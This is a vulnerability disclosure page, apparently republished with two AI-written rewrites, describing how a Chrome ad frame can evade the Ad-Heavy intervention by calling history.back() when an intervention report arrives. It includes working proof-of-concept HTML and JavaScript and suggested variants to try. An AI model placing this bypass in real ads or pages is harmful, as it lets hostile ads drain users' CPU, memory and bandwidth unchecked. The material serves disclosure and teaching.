Skip to content
DoS Write-up Intermediate

SSD Advisory – Chrome Ad Heavy Bypass (via history.back())

Chrome's Ad-Heavy detection mechanism can be bypassed by an ad frame calling history.back() immediately after receiving an intervention report, causing the frame to return to the ad page without further interventions. This allows ads to exceed network and CPU limits, potentially enabling hostile ads to consume excessive resources.

Alesandro Ortiz Follow

Published on ssd-disclosure.com

Find out how the Chrome Ad-Heavy detection mechanism can be bypassed, bypassing the mechanism would allow ads that are breaching the restrictions imposed by Chrome to still run.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Chrome ships an ad intervention mechanism, referred to in this write-up as Ad-Heavy, that watches ad frames and kills those that consume excessive resources. When the browser decides an ad frame has crossed a limit, it takes two steps: it notifies all ad frames through the ReportingObserver API, and it navigates the top-most ad frame to the ad intervention error page. The intent is that a hostile ad which burns memory, CPU or network bandwidth is unloaded before it can do further damage.

This write-up describes a bypass of that mechanism reported by Alesandro Ortiz through the SSD Secure Disclosure program. The author is explicit that the issue does not have a direct security vulnerability scope: the value of the Ad-Heavy mechanism is that it offers protection against hostile malware or attacks that disguise themselves as ads, and the bypass removes that protection.

Setup

The affected versions are all versions of Chrome that support Ad-Heavy, that is version 92.0.4515.159 and up. No account, role or special tooling is required beyond a Chrome build in that range and DevTools. The proof of concept includes a page that embeds an ad unit in an iframe, the ad unit itself, a nested advert page, a shared worker, a main page, and a large binary file served from a CDN to drive up network usage.

To confirm that Chrome classifies the frame as an ad, the PoC page gives these steps:

  1. Open DevTools (Ctrl + Shift + I).
  2. Customise and control DevTools (three vertical dots) -> More tools -> Rendering.
  3. Enable Highlight ad frames.

A frame that Chrome detects as an ad frame is then coloured red.

Finding it

The observation behind the bypass is about ordering. The intervention report is delivered to the ad frame before the top-most ad frame is navigated to the error page. That leaves a window in which the ad frame's own script is still running and can act on the history stack. If the top-most ad frame calls history.back() immediately after receiving the intervention report, the navigation to the error page still happens, but the frame immediately navigates back to the ad page. From that point on, no further interventions are triggered and the frame can exceed the network limits. The same bypass also allows exceeding CPU limits and any other ad limits.

Exploitation

Step 1: the ad unit that reacts to the intervention report

The ad unit registers a ReportingObserver and calls history.back() from its callback. It also pushes a history entry first, so that there is a prior entry to go back to.

HTML
<html>
<head>
<style>
* {
    font-family: 'Helvetica', sans-sarif;
}
.header {
    font-size: 1.5rem;
    font-weight: 700;
    color: red;
}
</style>
</head>
<body>
The frame will now start violating the heavy ad intervention rules, please hold...
<p class="header">DO NOT CLICK THIS FRAME!</p>
<small>Clicking this frame will disable heavy ad intervention on it</small>
<br/>
<p>
To ensure this is an ad:
<ol>
<li>Open DevTools (Ctrl + Shift + I)</li>
<li>Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering</li>
<li>Enable `Highlight ad frames`</li>
</ol>
Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.
</p>
<div id="output"></div>
<script>
// Your heavy ad intervention bypass goes here:
// alert("Ad loaded - Insert your script in adunit.html");
// Add history entry to have a prior entry available
history.pushState({}, '', '#intervention-buster');
var observer = new ReportingObserver(() => {
  // console.info('Report observed');
  // Go to prior history entry. If timed right, it will attempt to navigate to the error page but will go back to the adunit.
  history.back();
  console.info('Called history.back()');
}, {buffered:false});
// Observe for intervention reports
observer.observe();
</script>
<script defer="" type="text/javascript">
// Loop download of a 10MB file to trigger heavy ad intervention's network limit
function download() {
  // Removed recursive calling, since single resource load will trigger intervention.
  // Added output for verification purposes.
  // Using jsdelivr.net or same-origin file does not affect behavior
  // We add Date.now() to break cache, to verify network transfer more easily. You can also disable cache via DevTools to force network transfer.
  // fetch('./big.bin?'+Date.now()()).then(response => {
  fetch('https://cdn.jsdelivr.net/gh/ssd-secure-disclosure/challenges/chrome-ad-heavy/big.bin?'+Date.now()).then(response => {
    return response.text();
  }).then(response => {
    output.innerText = 'Response: '+response.substr(0,100)+'... (total length: '+response.length+')';
    // Feel free to test recursive calling if desired.
    // download();
  });
}
download();
</script>
</body>
</html>

The first script pushes a history entry with history.pushState({}, '', '#intervention-buster'), so a previous entry exists for the later history.back(). The ReportingObserver is created with {buffered:false} and its callback calls history.back() and logs Called history.back(). The second script fetches a 10MB file from jsdelivr, appending Date.now() to break the cache and force a real network transfer, and writes the first 100 characters of the response plus its total length into the output element. The comments note that a single resource load is enough to trigger the intervention, so the recursive call was removed, and that using jsdelivr or a same-origin file does not affect behaviour.

Step 2: embedding the ad unit

The ad unit is loaded in an iframe sized to most of the viewport:

JavaScript
"use strict";
const iframe = document.createElement("iframe");
iframe.src = "adunit.html";
iframe.style = "width: 98vw; height: 60vh";
document.body.appendChild(iframe);

Step 3: the nested case that does not work

The report also includes a page that loads advert.html, which does not use the bypass and which itself embeds adunit.html, which does. Both frames are tagged as ads, so the top-most ad frame is advert.html and that is the frame that receives the intervention message. Because the history.back() call has to happen in the top-most ad frame context, the bypass fails here.

HTML
<!doctype html>
<html>
<head>
<style>html { font-family: sans-serif; }</style>
</head>
<body>
<h1>history.back() bypass, nested ad units</h1>
<p>This scenario will <b>not</b> work, because the top-most ad frame (advert.html) does not use the bypass.</p>
<p>This page loads advert.html, which does *not* use the bypass.</p>
<p>advert.html will embed adunit.html, which uses the bypass.</p>
<p>Both advert.html and adunit.html are tagged as ads, so the top-most ad frame (advert.html) will show the intervention message.</p>
<p>For the history.back() bypass to work, the top-most ad frame (advert.html) must use the bypass, since that's the frame where the back() navigation needs to occur.</p>
<p>This is why the history.back() bypass does not work when providing the URL to heavy-ads.glitch.me, since the top-most ad frame is another heavy-ads.glitch.me frame which does not use the bypass.</p>
<script src="gads-advert.js"></script>
</body>
</html>

This is the same reason the bypass does not work when the URL is provided to heavy-ads.glitch.me: the top-most ad frame there is another heavy-ads.glitch.me frame, not the PoC's adunit.html.

Step 4: the supporting files

The report includes a shared worker that performs fetches on behalf of the page, and a main page that loads the ad script:

JavaScript
/* shared-worker.js */
// Part of window.fetch polyfill, makes requests on behalf of page.
// To debug shared workers, need to use chrome://inspect/#workers
// Delegated network requests will only appear in the shared worker's DevTools.
self.onconnect = (event) => {
  var port = event.ports[0];
  port.onmessage = (event) => {
    if (event.data.fetchUrl) {
      var fetchUrl = event.data.fetchUrl;
      fetch(fetchUrl).then(response => {
        response.blob().then(blob => {
          port.postMessage({ fetchUrl: fetchUrl, fetchResponse: blob });
        });
      });
    } else {
      console.warn('Must send fetchUrl in message.');
    }
  }
}
HTML
<html>
<head></head>
<body>
<p>Hello! This is the main site. </p>
<p>The ad should be loaded below:</p>
<script src="gads.js"></script>
</body>
</html>

The shared worker listens for connections, and for each message carrying a fetchUrl it fetches that URL, converts the response to a blob and posts back { fetchUrl, fetchResponse }. The main page is a minimal host that loads gads.js, which in turn loads the ad.

Root cause

Based on code and behaviour analysis, the report names two likely root causes that prevent further ad interventions after the back navigation:

  1. Ad interventions are limited to run once per ad frame or committed navigation in the ad frame.
  2. The subresource filter is not activated or otherwise is not working properly when the ad page is shown again.

The report points to the relevant Chromium source locations: SendInterventionReport() in ads_page_load_metrics_observer.cc for the notification step, LoadPostCommitErrorPage() in the same file for the navigation to the error page, and a comment, "We should always unload the root of the ad subtree.", in the same file. The bypass depends on the frame context: the history.back() has to be issued from the top-most ad frame, the one navigated to the error page.

Impact

An ad that breaches the restrictions imposed by Chrome can keep running instead of being killed. The report frames this as hostile ad writers being able to place ads that consume a large amount of memory and/or CPU without being stopped by the Ad-Heavy detection mechanism, and the bypass also allows exceeding network limits and any other ad limits. The author is careful about scope: there is no direct security vulnerability here, but the Ad-Heavy mechanism is a protection against hostile malware or attacks disguised as ads, and the bypass defeats it. The bypass only works when the history.back() call is made in the top-most ad frame context; in nested ad setups where the top-most ad frame does not use the bypass, it fails.

Fix

No fix is described. Google was informed of the bypass through the Chromium issue tracker and kept the ticket open without taking any actions to remediate the bypass, and several attempts to get an update went unanswered.

Variants to test

  • Apply the same pattern to other browser resource-limiting or intervention mechanisms that notify the page before acting: register a ReportingObserver, push a history entry, and call history.back() from the callback. A positive result is that the intervention report arrives, the error page navigation is attempted, and the page returns to the ad content with no further interventions.
  • Test the bypass from different frame depths. A positive result is that it works only when the frame issuing history.back() is the top-most ad frame, and fails when an outer ad frame is the one that receives the intervention.
  • Vary the resource that triggers the limit, for example a same-origin file instead of a CDN file, and check whether the intervention still fires and the bypass still holds.
  • Test whether recursive downloads after the back navigation continue to be permitted, since the report notes that a single resource load already triggers the intervention and leaves recursive calling as an exercise.
  • Test whether the same history manipulation defeats other per-frame limits, such as CPU limits, by driving CPU usage after the back navigation and observing whether the frame is unloaded.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Chrome has a built-in watchdog for adverts. Adverts on a page are often loaded inside their own little window, called a frame, and some adverts are badly behaved: they use huge amounts of memory, processor time or internet bandwidth. Chrome's watchdog, which this write-up calls Ad-Heavy, watches those ad frames and shuts down any that go over the limits. The idea is that a hostile advert, or something pretending to be an advert, gets unloaded before it can do more harm.

A security researcher, Alesandro Ortiz, found a way to stop that shutdown from happening. The trick relies on the order in which Chrome does things. Before Chrome replaces the bad advert with an error page, it first sends the advert a warning message. The advert's own code is still running when that warning arrives, so it can quickly tell the browser "go back to the previous page". Chrome does show the error page, but the advert immediately jumps back to itself. After that, Chrome does not try to shut it down again, and the advert can keep using as much network, processor and memory as it likes.

The author is careful about what this is and is not. It is not a classic security hole where someone steals data or breaks into a machine. It is a bypass of a protection: the protection exists to defend against malicious adverts, and the bypass removes it. Google was told about it through its public bug tracker and left the ticket open without fixing it.

The product and the feature

Chrome is the web browser made by Google. A frame is a rectangular area inside a web page that can load a separate web page of its own. Web pages use frames to embed things from other places, and adverts are very often embedded this way. From the browser's point of view, each frame is a small, separate document with its own code running inside it.

Ad-Heavy is Chrome's name, in this write-up, for a mechanism that keeps an eye on frames it believes are adverts. When one of those frames uses too much memory, too much processor time (CPU) or too much network bandwidth, Chrome intervenes: it stops the frame and shows an error page instead. Think of it like a fuse box: when an appliance draws too much current, the fuse cuts the power before anything catches fire.

Two technical ideas appear throughout, so here they are from zero:

  • An API (application programming interface) is a defined way for one piece of software to ask another piece of software to do something. It is like a restaurant menu: you do not go into the kitchen, you order from a list of things the kitchen offers. The ReportingObserver API is a menu item the browser offers to web pages: "tell me when the browser has a report for me".
  • The history stack is the browser's list of pages you have visited in a tab, the same list the Back and Forward buttons walk through. Web pages can add entries to it and move through it with JavaScript, the programming language browsers run.

Setup

The affected versions are all versions of Chrome that support Ad-Heavy, which the report gives as version 92.0.4515.159 and up. You need nothing more than a Chrome build in that range and its built-in developer tools, called DevTools. The proof of concept includes a page that embeds the ad unit in a frame, the ad unit itself, a nested advert page, a shared worker, a main page, and a large file downloaded from a content delivery network (CDN, a service that hosts files so they can be downloaded quickly) to push network usage up.

To check that Chrome really treats the frame as an advert, the proof-of-concept page gives these steps:

  1. Open DevTools (Ctrl + Shift + I).
  2. Customise and control DevTools (three vertical dots) -> More tools -> Rendering.
  3. Enable Highlight ad frames.

A frame that Chrome detects as an ad frame is then coloured red. This matters because the trick applies to frames Chrome has classified as adverts.

Finding it

The discovery is about timing. Chrome sends the intervention report to the ad frame first, and only afterwards navigates the top-most ad frame to the error page. "Top-most" means the outermost ad frame, the one nearest the main page; if adverts are nested inside each other, it is the outer one that Chrome replaces with the error page. That ordering leaves a small window in which the advert's own code is still running and can reach for the history stack.

If the top-most ad frame calls history.back() immediately after receiving the intervention report, the navigation to the error page still happens, but the frame immediately navigates back to the ad page. From that point on, no further interventions are triggered, and the frame can exceed the network limits. The same bypass also allows exceeding CPU limits and any other ad limits.

Exploitation

Step 1: the ad unit that reacts to the intervention report

The ad unit is the page that plays the role of the badly behaved advert. It registers a ReportingObserver, which is the browser's way of delivering reports to a page, and calls history.back() from the callback, the function that runs when a report arrives. It also pushes a history entry first, so that there is a previous entry to go back to.

HTML
<html>
<head>
<style>
* {
    font-family: 'Helvetica', sans-sarif;
}
.header {
    font-size: 1.5rem;
    font-weight: 700;
    color: red;
}
</style>
</head>
<body>
The frame will now start violating the heavy ad intervention rules, please hold...
<p class="header">DO NOT CLICK THIS FRAME!</p>
<small>Clicking this frame will disable heavy ad intervention on it</small>
<br/>
<p>
To ensure this is an ad:
<ol>
<li>Open DevTools (Ctrl + Shift + I)</li>
<li>Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering</li>
<li>Enable `Highlight ad frames`</li>
</ol>
Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.
</p>
<div id="output"></div>
<script>
// Your heavy ad intervention bypass goes here:
// alert("Ad loaded - Insert your script in adunit.html");
// Add history entry to have a prior entry available
history.pushState({}, '', '#intervention-buster');
var observer = new ReportingObserver(() => {
  // console.info('Report observed');
  // Go to prior history entry. If timed right, it will attempt to navigate to the error page but will go back to the adunit.
  history.back();
  console.info('Called history.back()');
}, {buffered:false});
// Observe for intervention reports
observer.observe();
</script>
<script defer="" type="text/javascript">
// Loop download of a 10MB file to trigger heavy ad intervention's network limit
function download() {
  // Removed recursive calling, since single resource load will trigger intervention.
  // Added output for verification purposes.
  // Using jsdelivr.net or same-origin file does not affect behavior
  // We add Date.now() to break cache, to verify network transfer more easily. You can also disable cache via DevTools to force network transfer.
  // fetch('./big.bin?'+Date.now()()).then(response => {
  fetch('https://cdn.jsdelivr.net/gh/ssd-secure-disclosure/challenges/chrome-ad-heavy/big.bin?'+Date.now()).then(response => {
    return response.text();
  }).then(response => {
    output.innerText = 'Response: '+response.substr(0,100)+'... (total length: '+response.length+')';
    // Feel free to test recursive calling if desired.
    // download();
  });
}
download();
</script>
</body>
</html>

Line by line, in plain words:

  • The <style> block sets the font and makes the warning text large, bold and red. It is presentation only; it does not affect the bypass.
  • The visible text tells the reader that the frame is about to break the heavy ad rules, and warns not to click the frame, because clicking it would disable heavy ad intervention on it.
  • The numbered list repeats the DevTools steps for highlighting ad frames, so the reader can confirm the frame is red and therefore recognised as an advert.
  • <div id="output"></div> is an empty box with the name output. The download script later writes into it, so you can see that the download really happened.
  • history.pushState({}, '', '#intervention-buster') adds a new entry to the browser's history list for this frame, with the fragment #intervention-buster at the end of the address. This is done so that the later history.back() has somewhere to go: without a previous entry, going back would leave the page entirely.
  • new ReportingObserver(...) creates the observer. The function passed to it is the callback: the code that runs whenever the browser delivers a report. The second argument, {buffered:false}, says not to deliver reports that were generated before the observer started listening.
  • Inside the callback, history.back() tells the browser to go to the previous history entry, which is the one just pushed. This is the heart of the bypass: it runs at the moment the intervention report arrives, while Chrome is about to replace the frame with the error page.
  • console.info('Called history.back()') writes a line to the browser console, so you can see in DevTools that the callback fired.
  • observer.observe() switches the observer on. Without this call, the callback would never run.
  • The second <script> has the defer attribute, which means the browser waits until the page has been parsed before running it.
  • function download() defines a function that fetches a file. The comment explains that it downloads a 10MB file to trigger the network limit of the heavy ad intervention.
  • fetch('https://cdn.jsdelivr.net/gh/ssd-secure-disclosure/challenges/chrome-ad-heavy/big.bin?'+Date.now()) asks the CDN for the large file. Date.now() returns the current time in milliseconds, and appending it to the address makes each request look different, so the browser cannot serve it from its cache and must really download it. The comments note that using jsdelivr or a same-origin file does not affect behaviour, and that you can also disable the cache in DevTools to force a real transfer.
  • .then(response => { return response.text(); }) waits for the download to finish and reads the body as text.
  • The next .then writes the first 100 characters of the response and its total length into the output box, so you can confirm the file arrived.
  • The commented-out // download(); shows where a recursive call would go. The comments explain that recursive calling was removed because a single resource load is already enough to trigger the intervention.
  • Finally, download(); starts the download once.

Why this order matters: the download is what makes Chrome decide the frame is over its limit. The observer is what lets the page hear about that decision in time to act. The pushed history entry is what makes going back possible.

Step 2: embedding the ad unit

The ad unit is loaded in a frame sized to most of the visible area of the browser window:

JavaScript
"use strict";
const iframe = document.createElement("iframe");
iframe.src = "adunit.html";
iframe.style = "width: 98vw; height: 60vh";
document.body.appendChild(iframe);
  • "use strict"; turns on JavaScript's strict mode, which makes the language complain about certain sloppy constructs instead of silently accepting them.
  • document.createElement("iframe") creates a new frame element in memory. It is not on the page yet.
  • iframe.src = "adunit.html" tells the frame which page to load: the ad unit from step 1.
  • iframe.style = "width: 98vw; height: 60vh" sizes it. vw means one hundredth of the width of the browser window, so 98vw is 98 percent of the width; vh is the same idea for height, so 60vh is 60 percent of the height.
  • document.body.appendChild(iframe) puts the frame on the page, which is when it starts loading.

Step 3: the nested case that does not work

The report also includes a page that loads advert.html, which does not use the bypass and which itself embeds adunit.html, which does. Both frames are tagged as adverts, so the top-most ad frame is advert.html, and that is the frame that receives the intervention message. Because the history.back() call has to happen in the top-most ad frame, the bypass fails here.

HTML
<!doctype html>
<html>
<head>
<style>html { font-family: sans-serif; }</style>
</head>
<body>
<h1>history.back() bypass, nested ad units</h1>
<p>This scenario will <b>not</b> work, because the top-most ad frame (advert.html) does not use the bypass.</p>
<p>This page loads advert.html, which does *not* use the bypass.</p>
<p>advert.html will embed adunit.html, which uses the bypass.</p>
<p>Both advert.html and adunit.html are tagged as ads, so the top-most ad frame (advert.html) will show the intervention message.</p>
<p>For the history.back() bypass to work, the top-most ad frame (advert.html) must use the bypass, since that's the frame where the back() navigation needs to occur.</p>
<p>This is why the history.back() bypass does not work when providing the URL to heavy-ads.glitch.me, since the top-most ad frame is another heavy-ads.glitch.me frame which does not use the bypass.</p>
<script src="gads-advert.js"></script>
</body>
</html>
  • <!doctype html> tells the browser this is a modern HTML page.
  • The <style> block sets a plain sans-serif font for the whole page.
  • The heading and paragraphs explain the scenario in words: this page loads advert.html, which does not use the bypass; advert.html embeds adunit.html, which does; both are tagged as adverts, so the top-most ad frame is advert.html and it is the one that shows the intervention message.
  • The key sentence is that the top-most ad frame must use the bypass, because that is the frame where the back navigation has to happen.
  • The last paragraph explains why the bypass does not work when the URL is given to heavy-ads.glitch.me: the top-most ad frame there is another heavy-ads.glitch.me frame, not the proof of concept's adunit.html.
  • <script src="gads-advert.js"></script> loads a script that sets up the advert frame. The report does not include the contents of that file.

This is the same reason the bypass does not work when the URL is provided to heavy-ads.glitch.me: the top-most ad frame there is another heavy-ads.glitch.me frame, not the proof of concept's adunit.html.

Step 4: the supporting files

The report includes a shared worker that performs fetches on behalf of the page, and a main page that loads the ad script. A shared worker is a piece of JavaScript that runs in the background and can be used by more than one page or frame at once; here it is used to make network requests on the page's behalf.

JavaScript
/* shared-worker.js */
// Part of window.fetch polyfill, makes requests on behalf of page.
// To debug shared workers, need to use chrome://inspect/#workers
// Delegated network requests will only appear in the shared worker's DevTools.
self.onconnect = (event) => {
  var port = event.ports[0];
  port.onmessage = (event) => {
    if (event.data.fetchUrl) {
      var fetchUrl = event.data.fetchUrl;
      fetch(fetchUrl).then(response => {
        response.blob().then(blob => {
          port.postMessage({ fetchUrl: fetchUrl, fetchResponse: blob });
        });
      });
    } else {
      console.warn('Must send fetchUrl in message.');
    }
  }
}
  • The comment says this file is part of a window.fetch polyfill, a piece of code that provides a feature where the browser lacks it, and that it makes requests on behalf of the page.
  • The second comment says that to debug shared workers you need chrome://inspect/#workers, and that delegated network requests only appear in the shared worker's own DevTools. In other words, if you look for the download in the page's network panel, you will not find it there.
  • self.onconnect = (event) => { sets up the function that runs when a page connects to the worker.
  • var port = event.ports[0]; takes the communication channel for that connection. A port is like a telephone line between the page and the worker: messages go one way and replies come back the other.
  • port.onmessage = (event) => { sets up the function that runs whenever a message arrives on that line.
  • if (event.data.fetchUrl) { checks that the message contains a fetchUrl, the address to download.
  • var fetchUrl = event.data.fetchUrl; copies that address into a local variable.
  • fetch(fetchUrl).then(response => { downloads the address.
  • response.blob().then(blob => { turns the downloaded body into a blob, which is a chunk of binary data held in memory.
  • port.postMessage({ fetchUrl: fetchUrl, fetchResponse: blob }); sends the address and the downloaded data back to the page.
  • If the message has no fetchUrl, console.warn('Must send fetchUrl in message.') prints a warning in the console instead.
HTML
<html>
<head></head>
<body>
<p>Hello! This is the main site. </p>
<p>The ad should be loaded below:</p>
<script src="gads.js"></script>
</body>
</html>
  • This is a minimal host page. It has an empty <head> and a body with two short paragraphs: one saying this is the main site, one saying the ad should be loaded below.
  • <script src="gads.js"></script> loads the script that brings in the advert. The report does not include the contents of gads.js.

Root cause

Based on code and behaviour analysis, the report names two likely root causes that prevent further ad interventions after the back navigation:

  1. Ad interventions are limited to run once per ad frame or committed navigation in the ad frame.
  2. The subresource filter is not activated or otherwise is not working properly when the ad page is shown again.

In plain words: either Chrome only ever tries to intervene once for a given frame or page load, so the first attempt is also the last; or a filter meant to catch the resources the advert loads is not doing its job once the advert page comes back. The report presents these as likely explanations, not as confirmed ones.

The report points to the relevant Chromium source locations: SendInterventionReport() in ads_page_load_metrics_observer.cc for the notification step, LoadPostCommitErrorPage() in the same file for the navigation to the error page, and a comment, "We should always unload the root of the ad subtree.", in the same file. The bypass depends on the frame context: the history.back() has to be issued from the top-most ad frame, the one navigated to the error page.

Impact

An advert that breaches the restrictions Chrome imposes can keep running instead of being killed. The report frames this as hostile ad writers being able to place adverts that consume a large amount of memory and/or CPU without being stopped by the Ad-Heavy detection mechanism, and the bypass also allows exceeding network limits and any other ad limits. The author is careful about scope: there is no direct security vulnerability here, but the Ad-Heavy mechanism is a protection against hostile malware or attacks disguised as adverts, and the bypass defeats it. The bypass only works when the history.back() call is made in the top-most ad frame; in nested ad setups where the top-most ad frame does not use the bypass, it fails.

Fix

No fix is described. Google was informed of the bypass through the Chromium issue tracker and kept the ticket open without taking any actions to remediate it, and several attempts to get an update went unanswered.

Variants to test

  • Apply the same pattern to other browser resource-limiting or intervention mechanisms that notify the page before acting: register a ReportingObserver, push a history entry, and call history.back() from the callback. A positive result is that the intervention report arrives, the error page navigation is attempted, and the page returns to the ad content with no further interventions.
  • Test the bypass from different frame depths. A positive result is that it works only when the frame issuing history.back() is the top-most ad frame, and fails when an outer ad frame is the one that receives the intervention.
  • Vary the resource that triggers the limit, for example a same-origin file instead of a CDN file, and check whether the intervention still fires and the bypass still holds.
  • Test whether recursive downloads after the back navigation continue to be permitted, since the report notes that a single resource load already triggers the intervention and leaves recursive calling as an exercise.
  • Test whether the same history manipulation defeats other per-frame limits, such as CPU limits, by driving CPU usage after the back navigation and observing whether the frame is unloaded.

Glossary

  • API: a defined way for one piece of software to ask another to do something, like ordering from a menu rather than walking into the kitchen.
  • Ad-Heavy: the name this write-up uses for Chrome's mechanism that watches ad frames and shuts down those that use too much memory, CPU or network.
  • Ad frame: a frame that Chrome has classified as an advert, which is what makes it subject to the Ad-Heavy limits.
  • Blob: a chunk of binary data held in memory by the browser.
  • Callback: a function you hand to something else, to be run later when a particular event happens.
  • CDN (content delivery network): a service that hosts files on servers around the world so they can be downloaded quickly.
  • Chrome: the web browser made by Google.
  • CPU: the processor, the part of the computer that carries out instructions; using a lot of CPU means keeping it busy.
  • DevTools: the set of developer tools built into Chrome, opened with Ctrl + Shift + I.
  • Frame: a rectangular area inside a web page that loads a separate web page of its own.
  • History stack: the browser's list of visited pages in a tab, which the Back and Forward buttons walk through.
  • HTML: the language web pages are written in.
  • Iframe: an HTML element that puts a frame inside a page.
  • JavaScript: the programming language browsers run to make pages interactive.
  • Polyfill: code that provides a feature in a browser that does not have it natively.
  • Port: a communication channel between a page and a worker, over which messages and replies travel.
  • Proof of concept (PoC): a small demonstration that shows an issue is real.
  • ReportingObserver: the browser API a page uses to be told when the browser has a report for it, such as an intervention report.
  • Shared worker: a background script that can serve more than one page or frame at once.
  • Strict mode: a JavaScript setting that makes the language reject certain sloppy constructs instead of silently accepting them.
  • Subresource: a file a page loads as part of showing itself, such as an image or a script, rather than the page document itself.
  • Top-most ad frame: the outermost ad frame, the one nearest the main page; it is the frame Chrome replaces with the error page.
  • vw / vh: CSS units where 1vw is one hundredth of the window width and 1vh is one hundredth of the window height.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.